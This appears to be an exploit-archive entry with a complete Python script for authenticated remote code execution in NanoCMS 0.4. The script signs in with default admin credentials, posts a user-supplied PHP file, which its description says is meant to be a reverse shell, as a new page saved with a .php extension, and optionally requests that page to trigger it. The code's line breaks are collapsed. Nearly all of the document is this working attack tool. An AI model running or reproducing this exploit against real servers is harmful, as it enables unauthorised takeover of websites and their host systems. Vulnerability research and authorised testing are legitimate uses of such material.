Headline
NanoCMS 0.4 Remote Code Execution
NanoCMS version 0.4 suffers from an authenticated remote code execution vulnerability.
# Exploit Title: NanoCMS v0.4 - Remote Code Execution (RCE) (Authenticated)# Date: 2022-07-26# Exploit Auuthor: p1ckzi# Vendor Homepage: https://github.com/kalyan02/NanoCMS# Version: NanoCMS v0.4# Tested on: Linux Mint 20.3# CVE: N/A## Description:# this script uploads a php reverse shell to the target.# NanoCMS does not sanitise the data of an authenticated user while creating# webpages. pages are saved with .php extensions by default, allowing an# authenticated attacker access to the underlying system:# https://github.com/ishell/Exploits-Archives/blob/master/2009-exploits/0904-exploits/nanocms-multi.txt#!/usr/bin/env python3import argparseimport bs4import errnoimport reimport requestsimport secretsimport sysdef arguments(): parser = argparse.ArgumentParser( formatter_class=argparse.RawDescriptionHelpFormatter, description=f"{sys.argv[0]} exploits authenticated file upload" "\nand remote code execution in NanoCMS v0.4", epilog=f"examples:" f"\n\tpython3 {sys.argv[0]} http://10.10.10.10/ rev.php" f"\n\tpython3 {sys.argv[0]} http://hostname:8080 rev-shell.php -a" f"\n\t./{sys.argv[0]} https://10.10.10.10 rev-shell -n -e -u 'user'" ) parser.add_argument( "address", help="schema/ip/hostname, port, sub-directories" " to the vulnerable NanoCMS server" ) parser.add_argument( "file", help="php file to upload" ) parser.add_argument( "-u", "--user", help="username", default="admin" ) parser.add_argument( "-p", "--passwd", help="password", default="demo" ) parser.add_argument( "-e", "--execute", help="attempts to make a request to the uploaded" " file (more useful if uploading a reverse shell)", action="store_true", default=False ) parser.add_argument( "-a", "--accessible", help="turns off features" " which may negatively affect screen readers", action="store_true", default=False ) parser.add_argument( "-n", "--no-colour", help="removes colour output", action="store_true", default=False ) arguments.option = parser.parse_args()# settings for terminal output defined by user in term_settings().class settings(): # colours. c0 = "" c1 = "" c2 = "" # information boxes. i1 = "" i2 = "" i3 = "" i4 = ""# checks for terminal setting flags supplied by arguments().def term_settings(): if arguments.option.accessible: small_banner() elif arguments.option.no_colour: settings.i1 = "[+] " settings.i2 = "[!] " settings.i3 = "[i] " settings.i4 = "$ " banner() elif not arguments.option.accessible or arguments.option.no_colour: settings.c0 = "\u001b[0m" # reset. settings.c1 = "\u001b[38;5;1m" # red. settings.c2 = "\u001b[38;5;2m" # green. settings.i1 = "[+] " settings.i2 = "[!] " settings.i3 = "[i] " settings.i4 = "$ " banner() else: print("something went horribly wrong!") sys.exit()# default terminal banner (looks prettier when run lol)def banner(): print( "\n .__ .__" " .__ " "\n ____ _____ ____ ____ ____ _____ _____| |__ ____ | " "| | | " "\n / \\__ \\ / \\ / _ \\_/ ___\\ / \\ / ___/ | \\_/ " "__ \\| | | | " "\n| | \\/ __ \\| | ( <_> ) \\___| Y Y \\___ \\| Y \\ _" "__/| |_| |__" "\n|___| (____ /___| /\\____/ \\___ >__|_| /____ >___| /\\___ " ">____/____/" "\n \\/ \\/ \\/ \\/ \\/ \\/ \\/ " " \\/" )def small_banner(): print( f"{sys.argv[0]}" "\nNanoCMS authenticated file upload and rce..." )# appends a '/' if not supplied at the end of the address.def address_check(address): check = re.search('/$', address) if check is not None: print('') else: arguments.option.address += "/"# creates a new filename for each upload.# errors occur if the filename is the same as a previously uploaded one.def random_filename(): random_filename.name = secrets.token_hex(4)# note: after a successful login, credentials are saved, so further reuse# of the script will most likely not require correct credentials.def login(address, user, passwd): post_header = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) " "Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml," "application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "", "Connection": "close", "Referer": f"{arguments.option.address}data/nanoadmin.php", "Cookie": "PHPSESSID=46ppbqohiobpvvu6olm51ejlq5", "Upgrade-Insecure-Requests": "1", } post_data = { "user": f"{user}", "pass": f"{passwd}" } url_request = requests.post( address + 'data/nanoadmin.php?', headers=post_header, data=post_data, verify=False, timeout=30 ) signin_error = url_request.text if 'Error : wrong Username or Password' in signin_error: print( f"{settings.c1}{settings.i2}could " f"sign in with {arguments.option.user}/" f"{arguments.option.passwd}.{settings.c0}" ) sys.exit(1) else: print( f"{settings.c2}{settings.i1}logged in successfully." f"{settings.c0}" )def exploit(address, file, name): with open(arguments.option.file, 'r') as file: file_contents = file.read().rstrip() post_header = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) " "Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml," "application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": "", "Connection": "close", "Referer": f"{arguments.option.address}data/nanoadmin.php?action=" "addpage", "Cookie": "PHPSESSID=46ppbqohiobpvvu6olm51ejlq5", "Upgrade-Insecure-Requests": "1", } post_data = { "title": f"{random_filename.name}", "save": "Add Page", "check_sidebar": "sidebar", "content": f"{file_contents}" } url_request = requests.post( address + 'data/nanoadmin.php?action=addpage', headers=post_header, data=post_data, verify=False, timeout=30 ) if url_request.status_code == 404: print( f"{settings.c1}{settings.i2}{arguments.option.address} could " f"not be uploaded.{settings.c0}" ) sys.exit(1) else: print( f"{settings.c2}{settings.i1}file posted." f"{settings.c0}" ) print( f"{settings.i3}if successful, file location should be at:" f"\n{address}data/pages/{random_filename.name}.php" )def execute(address, file, name): print( f"{settings.i3}making web request to uploaded file." ) print( f"{settings.i3}check listener if reverse shell uploaded." ) url_request = requests.get( address + f'data/pages/{random_filename.name}.php', verify=False ) if url_request.status_code == 404: print( f"{settings.c1}{settings.i2}{arguments.option.file} could " f"not be found." f"\n{settings.i2}antivirus may be blocking your upload." f"{settings.c0}" ) else: sys.exit()def main(): try: arguments() term_settings() address_check(arguments.option.address) random_filename() if arguments.option.execute: login( arguments.option.address, arguments.option.user, arguments.option.passwd ) exploit( arguments.option.address, arguments.option.file, random_filename.name, ) execute( arguments.option.address, arguments.option.file, random_filename.name, ) else: login( arguments.option.address, arguments.option.user, arguments.option.passwd ) exploit( arguments.option.address, arguments.option.file, random_filename.name, ) except KeyboardInterrupt: print(f"\n{settings.i3}quitting.") sys.exit() except requests.exceptions.Timeout: print( f"{settings.c1}{settings.i2}the request timed out " f"while attempting to connect.{settings.c0}" ) sys.exit() except requests.ConnectionError: print( f"{settings.c1}{settings.i2}could not connect " f"to {arguments.option.address}{settings.c0}" ) sys.exit() except FileNotFoundError: print( f"{settings.c1}{settings.i2}{arguments.option.file} " f"could not be found.{settings.c0}" ) except ( requests.exceptions.MissingSchema, requests.exceptions.InvalidURL, requests.exceptions.InvalidSchema ): print( f"{settings.c1}{settings.i2}a valid schema and address " f"must be supplied.{settings.c0}" ) sys.exit()if __name__ == "__main__": main()